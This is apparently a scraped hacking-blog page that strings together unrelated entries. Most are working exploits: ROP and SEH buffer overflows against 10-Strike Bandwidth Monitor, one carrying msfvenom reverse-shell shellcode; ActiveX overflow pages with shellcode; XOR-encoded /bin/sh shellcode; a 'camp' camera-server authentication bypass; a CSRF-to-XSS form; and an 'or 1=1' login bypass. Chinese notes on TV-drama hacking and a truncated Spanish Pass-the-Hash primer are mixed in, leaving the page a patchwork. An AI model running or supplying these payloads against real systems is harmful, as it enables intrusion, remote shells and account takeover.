# Exploit Title: 10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH,DEP,ASLR)
# Exploit Author: Bobby Cooke
# Date: 2020-07-07
# Vendor Site: https://www.10-strike.com/
# Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: version 3.9
# Exploit Details:
# 1. Bypass SafeSEH by overwriting the Structured Exception Handler (SEH) with a Stack-Pivot return address located in the [BandMonitor.exe] memory-space; as it was not compiled with the SafeSEH Protection.
# 2. The Stack-Pivot will land in a RET Sled; as the process's offset on the Stack is different every time.
# - StackPivot lands at a different offset, 1:660; 2:644; 3:676; 4:692; 5:696; 6:688; 7:692
# 3. Bypass Address Space Layout Randomization (ASLR) & Data Execution Protection (DEP) using Return Orientation Programming (ROP), choosing Gadgets from the [ssleay32.dll], [BandMonitor.exe], and [LIBEAY32.dll]; as they are not compiled with Rebase or ASLR.
# 4. A pointer to the LoadLibraryA symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call LoadLibraryA and find the memory address of the [kernel.dll] module; as it is protected by ASLR and will be different every time the process runs.
# 5. A pointer to the GetProcAddress symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call GetProcAddress to find the memory address of the WinExec Symbol within [kernel32.dll].
# 6. Use Gadgets to call the WinExec Function and open calc.
# - Bad Characters: \x00 => \x20 ; \x0D & \x0A => Truncates buffer
# Recreate:
# Turn On DEP: This PC > Properties > Advanced System Settings > Advanced > Performance > Settings > Data Execution Prevention > "Turn on DEP for all programs and services except those I select:" > OK > Restart
# Install > Run Exploit > Copy buffer from poc.txt > Start BandMonitor > Help > Enter Reg Key > Paste > Exploit
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Modulename
# -------------------------------------------------------------------------------------------
# 0x12000000 | 0x12057000 | False | True | False | False | False | [ssleay32.dll]
# 0x00400000 | 0x01247000 | False | False | False | False | False | [BandMonitor.exe]
# 0x11000000 | 0x11155000 | False | True | False | False | False | [LIBEAY32.dll]
# -------------------------------------------------------------------------------------------
import struct
OS_retSled = '\x41'*400
retSled = '\x24\x01\x06\x11'*100 #11060124 # retn [LIBEAY32.dll] {PAGE_EXECUTE_READ}
def createRopChain():
ropGadgets = [
# HMODULE LoadLibraryA( LPCSTR lpLibFileName);
# $ ==> > 1106905D CALL to LoadLibraryA
# $+4 > 012428B4 FileName = "kernel32.dll"
0x012126f5, # POP EAX # RETN [BandMonitor.exe]
0x110e70bc, # kernel32!loadlibrarya [LIBEAY32.dll]
0x110495ef, # JMP [EAX] [LIBEAY32.dll]
0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll]
0x012428B4, # &String = "kernel32.dll\x00"
# EAX&ESI = &kernel32.dll
# FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);
# $ ==> > 011D53D2 CALL to GetProcAddress
# $+4 > 76C40000 hModule = (KERNEL32)
# $+8 > 0014F6CC ProcNameOrOrdinal = "WinExec"
0x01226010, # PUSH ESP # AND AL, 4 # POP ECX # POP EDX # RETN [BandMonitor.exe] - [move esp -> ecx]
0xfffff2D4, # EDX = Offset2String; ECX = ESP
0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - eax=esp & ecx = "kernel32.dll\x00"
0x11061ea7, # sub eax, edx # ret [LIBEAY32.dll]- eax=&String="WinExec\d4"
0x1106905d, # push eax # pop esi # ret [LIBEAY32.dll] - ESI&EAX="WinExec\d4"
0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,
# (INC EAX # RETN)*7 [LIBEAY32.dll]
0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="WinExec\x00"
0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="WinExec\x00"
0x11084dca, # xchg eax, edx # ret [LIBEAY32.dll] - EDX="WinExec\x00"
0x012126f5, # POP EAX # RETN [BandMonitor.exe]
0x110e708c, # kernel32!getprocaddress [LIBEAY32.dll]
0x1109cdb9, # mov eax, ds:[eax] # ret [LIBEAY32.dll] - EAX = &GetProcAddress
0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax
0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - ECX=&KERNEL32.WinExec
0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup
0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup
# Call WinExec( CmdLine, ShowState );
# CmdLine = "calc"
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
0x0106a762, # INC ESI # RETN [BandMonitor.exe] - ESI="calc\x"
0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\xff"
0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] - EAX&ESI="calc\xff"
0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a, # (INC EAX # RETN)*4 [LIBEAY32.dll]
0x01226014, # POP EDX # RETN [BandMonitor.exe]
0xffffffff, # dl = 0xff
0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="calc\x00"
0x01218952, # NEG EDX # RETN [BandMonitor.exe] - EDX=0x01 = SW_SHOWNORMAL
0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\x00"
0x1102ce1f, # xchg eax, ecx [LIBEAY32.dll] - ECX="calc\x00" = CmdLine - EAX=&KERNEL32.WinExec
0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax
0x11060124 # retn [LIBEAY32.dll] - ROP NOP
]
return ''.join(struct.pack('<I', _) for _ in ropGadgets)
ropChain = createRopChain()
OS_nSEH = '\x43'*(4188-len(OS_retSled+retSled+ropChain))
nSEH = '\x44'*4
# Stack pivot offset to controllable buffer: 1408 (0x580) bytes
SEH = '\x70\x28\x21\x01' # 0x01212870 : {pivot 2064 / 0x810}
WinExec = '\x57\x69\x6e\x45' # WinE
WinExec += '\x78\x65\x63\xd4' # xec.
calc = '\x63\x61\x6c\x63' # calc
calc += '\xff\x42\x42\x42' # ....
extra = '\x44'*2000
buffer = OS_retSled + retSled + ropChain + OS_nSEH + nSEH + SEH + WinExec + calc + extra
File = 'poc.txt'
try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
86375929
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Title: 10-Strike Bandwidth Monitor 3.7 - Local Buffer Overflow SEH
# Date: 2018-07-24
# Exploit Author: absolomb
# Vendor Homepage: https://www.10-strike.com/products.shtml
# Software Link: https://www.10-strike.com/bandwidth-monitor/download.shtml
# Run script, open up generated txt file and copy to clipboard
# Open Bandwith Monitor, Enter my key, Paste code from clipboard, hit OK, boom shell.
# Or from inside the app you can go to the Help tab, click Registration and Paste code from clipboard, hit OK, boom shell.
#!/usr/bin/python
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.47.128 LPORT=443 -b '\x00\x0a\x0d' -f python -v shellcode
shellcode = ""
shellcode += "\xbb\x03\xe2\x9b\xb7\xda\xc3\xd9\x74\x24\xf4\x5e"
shellcode += "\x29\xc9\xb1\x52\x31\x5e\x12\x83\xc6\x04\x03\x5d"
shellcode += "\xec\x79\x42\x9d\x18\xff\xad\x5d\xd9\x60\x27\xb8"
shellcode += "\xe8\xa0\x53\xc9\x5b\x11\x17\x9f\x57\xda\x75\x0b"
shellcode += "\xe3\xae\x51\x3c\x44\x04\x84\x73\x55\x35\xf4\x12"
shellcode += "\xd5\x44\x29\xf4\xe4\x86\x3c\xf5\x21\xfa\xcd\xa7"
shellcode += "\xfa\x70\x63\x57\x8e\xcd\xb8\xdc\xdc\xc0\xb8\x01"
shellcode += "\x94\xe3\xe9\x94\xae\xbd\x29\x17\x62\xb6\x63\x0f"
shellcode += "\x67\xf3\x3a\xa4\x53\x8f\xbc\x6c\xaa\x70\x12\x51"
shellcode += "\x02\x83\x6a\x96\xa5\x7c\x19\xee\xd5\x01\x1a\x35"
shellcode += "\xa7\xdd\xaf\xad\x0f\x95\x08\x09\xb1\x7a\xce\xda"
shellcode += "\xbd\x37\x84\x84\xa1\xc6\x49\xbf\xde\x43\x6c\x6f"
shellcode += "\x57\x17\x4b\xab\x33\xc3\xf2\xea\x99\xa2\x0b\xec"
shellcode += "\x41\x1a\xae\x67\x6f\x4f\xc3\x2a\xf8\xbc\xee\xd4"
shellcode += "\xf8\xaa\x79\xa7\xca\x75\xd2\x2f\x67\xfd\xfc\xa8"
shellcode += "\x88\xd4\xb9\x26\x77\xd7\xb9\x6f\xbc\x83\xe9\x07"
shellcode += "\x15\xac\x61\xd7\x9a\x79\x25\x87\x34\xd2\x86\x77"
shellcode += "\xf5\x82\x6e\x9d\xfa\xfd\x8f\x9e\xd0\x95\x3a\x65"
shellcode += "\xb3\x59\x12\x4a\xc3\x32\x61\x94\xc2\x79\xec\x72"
shellcode += "\xae\x6d\xb9\x2d\x47\x17\xe0\xa5\xf6\xd8\x3e\xc0"
shellcode += "\x39\x52\xcd\x35\xf7\x93\xb8\x25\x60\x54\xf7\x17"
shellcode += "\x27\x6b\x2d\x3f\xab\xfe\xaa\xbf\xa2\xe2\x64\xe8"
shellcode += "\xe3\xd5\x7c\x7c\x1e\x4f\xd7\x62\xe3\x09\x10\x26"
shellcode += "\x38\xea\x9f\xa7\xcd\x56\x84\xb7\x0b\x56\x80\xe3"
shellcode += "\xc3\x01\x5e\x5d\xa2\xfb\x10\x37\x7c\x57\xfb\xdf"
shellcode += "\xf9\x9b\x3c\x99\x05\xf6\xca\x45\xb7\xaf\x8a\x7a"
shellcode += "\x78\x38\x1b\x03\x64\xd8\xe4\xde\x2c\xe8\xae\x42"
shellcode += "\x04\x61\x77\x17\x14\xec\x88\xc2\x5b\x09\x0b\xe6"
shellcode += "\x23\xee\x13\x83\x26\xaa\x93\x78\x5b\xa3\x71\x7e"
shellcode += "\xc8\xc4\x53"
# JMP always true
nseh = '\x71\x06\x70\x04'
# 0x01174647 POP POP RET BandMonitor.exe
seh = '\x47\x46\x17\x01'
payload = '\x41' * 4188
payload += nseh
payload += seh
payload += shellcode
payload += '\x41' * (1804 - len(shellcode))
file = open('sploit.txt','w')
print "Size: " + str(len(payload)) + " bytes"
file.write(payload)
file.close()
print "TXT file created!"
<html>
<br>1 Click Extract Audio Activex Buffer Overflow</br>
<br>Affected version=2.3.6</br>
<br>Vendor Homepage:http://www.dvdvideotool.com/index.htm</br>
<br>Software Link:www.dvdvideotool.com/1ClickExtractAudio.exe</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter.dll </br>
<br>SkinCrafter.dll version.1.9.2.0</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<!--Video Poc: http://bit.ly/1SYwV3u -->
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2048) junk1+="A";
nseh = "\xeb\x06\xff\xff";
seh = "\x58\xE4\x04\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 2048) junk2+="B";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="defaultV";
arg3="defaultV";
arg4="defaultV";
arg5="defaultV";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );
</script>
</html>
<html>
<br>1 Click Audio Converter Activex Buffer Overflow</br>
<br>Affected version=2.3.6</br>
<br>Vendor Homepage:http://www.dvdvideotool.com/index.htm</br>
<br>Software Link:www.dvdvideotool.com/1ClickAudioConverter.exe</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter.dll </br>
<br>SkinCrafter.dll version.1.9.2.0</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<!--Video Poc: http://bit.ly/1GmOAyq -->
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2048) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\xD7\x51\x04\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 2048) junk2+="B";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="defaultV";
arg3="defaultV";
arg4="defaultV";
arg5="defaultV";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );
</script>
</html>
# Exploit Title: "camp" Raspberry Pi camera server 1.0 - Authentication Bypass
# Date: 2022-07-25
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/patrickfuller
# Software Link: https://github.com/patrickfuller/camp
# Version: < bf6af5c2e5cf713e4050c11c52dd4c55e89880b1
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-37109
"camp" Raspberry Pi camera server Authentication Bypass vulnerability
https://medium.com/@elias.hohl/authentication-bypass-vulnerability-in-camp-a-raspberry-pi-camera-server-477e5d270904
1. Start an instance of the "camp" server:
python3 server.py --require-login
2. Fetch the SHA-512 password hash using one of these methods:
curl http://localhost:8000/static/password.tx%74
OR
curl http://localhost:8000/static/./password.txt --path-as-is
OR
curl http://localhost:8000/static/../camp/password.txt --path-as-is
3. Execute the following python snippet (replace the hash with the hash you received in step 2).
from tornado.web import create_signed_value
import time
print(create_signed_value("5895bb1bccf1da795c83734405a7a0193fbb56473842118dd1b66b2186a290e00fa048bc2a302d763c381ea3ac3f2bc2f30aaa005fb2c836bbf641d395c4eb5e", "camp", str(time.time())))
4. In the browser, navigate to http://localhost:8000/, add a cookie named "camp" and set the value to the result of the script from step 3, then reload the page. You will be logged in.
# Exploit Title: GetSimple CMS Custom JS Plugin 0.1 - 'customhs_js_content' Cross-Site Request Forgery
# Exploit Author: Abhishek Joshi
# Date: March 25, 2021
# Vendor Homepage: http://get-simple.info/extend/plugin/custom-js/1267 / http://get-simple.info/download
# Software Link: http://get-simple.info/extend/export/5260/1267/custom-js.zip
# Version: 0.1
# Tested On: Windows 10 Pro + XAMPP + PHP Version 7.4.10
# Tested against: Firefox 78.7.0esr (64-bit)
# Vulnerability Description:
# Cross-Site Request Forgery (CSRF) vulnerability in Custom JS v0.1 plugin for GetSimple CMS allows remote attackers to inject arbitrary client-side script code into every webpage hosted on the CMS (Persistent Cross-Site Scripting), when an authenticated admin visiting a third-party site.
## CSRF POST Form Method
<html><body>
<form action="http://mygetsimplecms.local/admin/load.php?id=CustomJSPlugin" method="POST">
<input type="hidden" name="customjs_url_content" value="">
<input type="hidden" name="customjs_js_content" value="alert('Hello Abhishek Joshi from CSRF --> XSS all the things!')">
<input type="hidden" name="submit" value="Save Settings">
<input type="submit" value="Submit request">
</form>
</body></html>
本文仅对影视剧中涉及的技术进行分析，对剧情不做详细的说明。感兴趣的童鞋可以去看看。
PS: 技术分析按照剧情顺序进行（1~4）集
前言
电视开头，便给我展示了第一种攻击技术，恶意充电宝。看似利用充电宝给手机充电，但是在充电的过程中，便已经获取了用户的信息。
实现原理
这种方法，在我前面的文章中有所涉及《利用树莓派监控女盆友手机》，其实很简单，就是利用adb命令获取手机的信息，当然也可以利用adb命令安装shell。
实现难度
容易，只需要开启手机开发者先选即可。
但是在现实中，手机开发者选项是默认关闭的。像电视中的情形是不会实现的。
信息收集
基于朋友圈收集信息
通过对朋友圈非朋友可见十条 查看最近朋友圈的动态，获取对方的相关的信息。再加上推测，得知女主老公出轨的可能性。
表哥建议
非工作需要，还是尽量在微信中，将此功能关闭吧。
基于微信步数的信息收集
通过微信步数，可以获取当前在干嘛？如早上八点你刚睡醒，好友的步数已达到5000步，说明他很有可能在跑步锻炼身体。
基于钓鱼链接的信息收集
在表哥前面的文章中，也写过类似的文章。通过探针可以简单的获取目标的IP地址，GPS信息，以及照片，录音等等。但是随着手机安全性能的提高，都会有弹窗提示。
利用百度网盘备份数据
这个在生活中，常常遇到。而且在安装百度网盘后，备份通讯录等信息是默认开启的。可以一试！（最好将头像也换掉，这样才真实）
利用滴滴分享行程
通过以上方案，主人公成功得到了对方的手机号码，并通过微信查找到了相关的账号。
当然网安专家的电脑中毒了。
对驱动盘符的破解
这里当然是导演给了密码，要是现实中，复杂的密码程度，估计等这剧结束了，都没破解成功。
控制网吧网络
这个应该用的是，运维app或者小程序，进行管理。难度不大。
社会工程学应用
通过在捡垃圾，获取对方有用的信息。所以在日常生活中，快递、外卖等单子如果不处理，都会造成一定的信息泄露。
通过对方一个账号信息，枚举其他账号信息，如贴吧 微博 QQ空间，从而获取对方相关个人信息。
WiFi探针
早在之前，央视315就曝光了WiFi探针窃取用户信息的案例。原理是当用户手机无线局域网处于打开状态时，会向周围发出寻找无线网络的信号。一旦探针盒子发现这个信号后，就能迅速识别出用户手机的MAC地址，转换成IMEI号，再转换成手机号码。
因此，一些公司将这种小盒子放在商场、超市、便利店、写字楼等地，在用户毫不知情的情况下，搜集个人信息，甚至包括婚姻、教育程度、收入等大数据个人信息。
android shell
从视频可以看出，很基础的msf控制android命令。但是能直接操纵手机编辑，这个就有点夸张了。
wifi钓鱼
利用fluxion进行WiFi钓鱼。
PS (4-8)集，仅对影视剧中的技术进行分析，剧情、人物不加以说明。
接着来看，为了获取诈骗集团的数据，溜到机房下载服务器数据。
这里用到的软件应该用的是XFTP。这也算是物理攻击了吧！
物理攻击
所谓物理攻击，便是攻击者无法在软件层面或者系统方面找到相关的漏洞。一时无法拿下目标，会到实地考察，通过社会工程学等方法，偷偷潜入目标内部进行攻击。这种攻击，最为致命。
在网安大赛中，用到的工具。在前面的镜头中，应该是利用owasp扫描目标网站的漏洞。说实在的，页面一直没有动，不知道扫了个啥！
在攻入了二级防护后，第三局开始，应该还是msf的界面。设置的msf的配置参数，但一直没有exploit不知道在等什么。
倒计时三分钟的时候，应该是开始了sqlmap注入。
从视频可以看出，用到的命令为
sqlmap -r 1.txt --batch --level 5 -v current-user
sqlmap的使用，在之前的文章中提到的比较多。上面这条命令应该是通过post注入，获取当前系统的用户。
参数解读：
-r 1.txt txt中存放的便是目标的请求数据，一般用burp抓包，保存为txt即可。
-- batch 执行过程中不需要用户输入YES or NO，将会使用sqlmap提示的默认值YES一直运行下去。
--level 风险级别，默认为1，当level为5时会测试很多的payload，效率会降低。
–current-user 获取当前用户名。
总结
电视剧中涉及到的网络安全工具，都是我们平时常见的网络安全知识。影视剧中稍有扩大，但是从剧情方面来看，还是非常棒的，尤其在给大众普及网络安全知识的同时，将网络水军、网络诈骗、杀猪盘、网贷等和百姓有关的话题紧密联系在一起。在视频末尾都会对大家普及一些网络安全知识，值得推荐！
# Exploit Title: Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]
# Shellcode Author: Alexys (0x177git)
# Tested on: Linux (x86_64)
# Shellcode Description: creating a new process using execve() syscall sending bin//sh as argument | (encrypted using XOR operation was QWORD size (/bin - //sh))
# Blog post: @MoreRubyOfSec (https://t.me/MoreRubyOfSec) on Telegram
# Original code:
[https://github.com/0x177git/xor-encrypted-execve-sh](https://github.com/0x177git/xor-encrypted-execve-sh/blob/main/execve-xor-encrypted-argv.asm)
---- Assembly code ----
section .text
global _start
_start:
xor eax, eax
xor edx, edx ; clear rdx (argv on execve() protoype)
mov qword [rsp-32], 0x7466684b ;
mov qword [rsp-28],0x60650b1d ; encrypted(/bin//sh) 0x60, 0x65, 0xb, 0x1d, 0x74, 0x66, 0x68, 0x4b
xor qword [rsp-32], 0x1a0f0a64
xor qword [rsp-28], 0x08162432 ; passwd 0x8, 0x16, 0x24, 0x32, 0x1a, 0xf, 0xa, 0x64
lea rdi, [rsp-32]
push rax ; end of string
push rdi ; send string to stack
mov rsi, rsp ; send address of RSP to rsi -> (arg on linux syscall architecture convection) || execve(rsi, rdx)
; call execve()
mov al, 0x3b
syscall
-
- - - shellcode execution using stack in c (
gcc -z execstack shellcode.c -o shellcode
) ----
/*
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
;
*/
void
main
()
{
const
char
shellcode
[]
=
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
;
void
(
*
f
)()
=
(
void
(
*
)())
shellcode
;
f
();
}
# # # # #
# Exploit Title: Bitcoin,Dogecoin Mining 1.0 - Authentication Bypass
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: https://codecanyon.net/user/bousague
# Software Link: https://codecanyon.net/item/bitcoindogecoin-mining-php-script/20315581
# Demo: http://test.z-files.site/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to access the user panel and administration panel ...
#
# Proof of Concept:
#
# http://localhost/[PATH]/
# http://localhost/[PATH]/admincqqq
# User: anything Pass: 'or 1=1 or ''='
#
# Etc...
# # # # #
NTLM (NT Lan Manager) consiste en una serie de protocolos de autenticación utilizados en los entornos Windows. Estos protocolos permiten que un usuario demuestre su identidad a un servidor. Es en esta autenticación donde nosotros como atacantes, podemos aprovecharnos para, entre otras cosas, hacer Pass The Hash.
Índice:
- Terminología
- ¿Qué es Pass The Hash?
- Hash LM
- NTLM (Aka. Hash NT)
- Autenticación Net-NTLMv2
- Negotiation Request/Response
- Session Setup Request (Message Type 1)
- Session Setup Response (Message Type 2)
- Session Setup Request (Message Type 3)
- Session Setup Response
- Autenticación NTLM en un Directorio Activo
- Punto de vista del Pentesting
- Referencias
Terminología
Antes de empezar a explicar cosas, vamos a dejar clara la terminología, ya que puede llegar a ser muy confusa:
- NTLM = Hash NT (también puede incluir el hash LM). Es el hash almacenado en la SAM (Security Account Manager) o en el archivo NTDS si estamos en un controlador de dominio.
- NTLMv2 = Hash Net-NTLMv2 = Respuesta del cliente al challenge del servidor (Versión 2 de Net-NTLM) = Autenticación de desafío/respuesta = Autenticación NTLM
Sí, son un poco liosos estos de Microsoft 😥😢.
¿Qué es Pass The Hash?
Una de las características más únicas del pentesting a Windows es Pass The Hash. Esta técnica para quien no la conozca, consiste en que básicamente si conoces el hash NTLM (Aka. hash NT) de un usuario, y ese usuario tiene los suficientes privilegios en el sistema. Puedes tanto ejecutar comandos como obtener una shell en el equipo Windows, solo conociendo su hash, ejemplo:
Nota: el hash LM no hace falta, de hecho, puedes probar a usar psexec solo con el hash NT precedido por dos puntos (:) y comprobarás que sigue funcionando.
Además, realmente este hash LM es el hash LM de una contraseña nula, esto ocurre porque se deshabilitó este tipo de hashes desde Windows Vista y Windows Server 2008. Si usas CrackMapExec con el parámetro
--sampara dumpear la SAM, verás como los LM hashes de todos los usuarios serán el mismo.
Pass The Hash cuando se ve por primera vez puede resultar extraño e incluso mágico. Pero una vez se conoce el proceso de autenticación NTLM, veremos el fallo de este protocolo y por qué permite esta técnica.
Antes de ir al proceso de autenticación, vamos a ver como se crean los dos tipos de hashes usados en almacenamiento de contraseñas en Windows, el hash NT y el hash LM.
Hash LM
El hash LM (Lan Manager) fue la forma por defecto en la que se almacenaban las contraseñas en Windows hasta el Windows XP y Windows Server 2003. Y está deshabilitado desde Windows Vista y Windows Server 2008 (aunque se puede seguir activando a día de hoy por temas de compatibilidad con sistemas antiguos).
LM era un algoritmo de hash bastante inseguro, y para saber por qué, vamos a ver el proceso de generación del hash:
Paso 1. Supongamos que la contraseña de mi usuario es «password123». Pues el primer paso del proceso es pasarlo todo a mayúsculas, es decir, pasar de «password123» a «PASSWORD123«.
- En caso de que la contraseña sea menor a 14 caracteres, se rellena con caracteres nulos (OJO, se representan con ceros, pero no hay que confundirlos como tal, os dejo por aquí un post que recomiendo) hasta llegar a esta longitud, es decir, que, por lo tanto, nuestra contraseña se convertiría en: «PASSWORD123000«.
- Aquí te puedes preguntar, bueno, y ¿qué pasa si mi contraseña tiene 15 caracteres o más? Pues que no es una contraseña válida, el límite del algoritmo LM son contraseñas con longitud de hasta 14 caracteres.
Paso 2. El resultado del primer paso, ahora se divide en dos cadenas de 7 bytes cada una:
- 1ª Cadena: «PASSWOR«
- 2ª Cadena: «D123000«
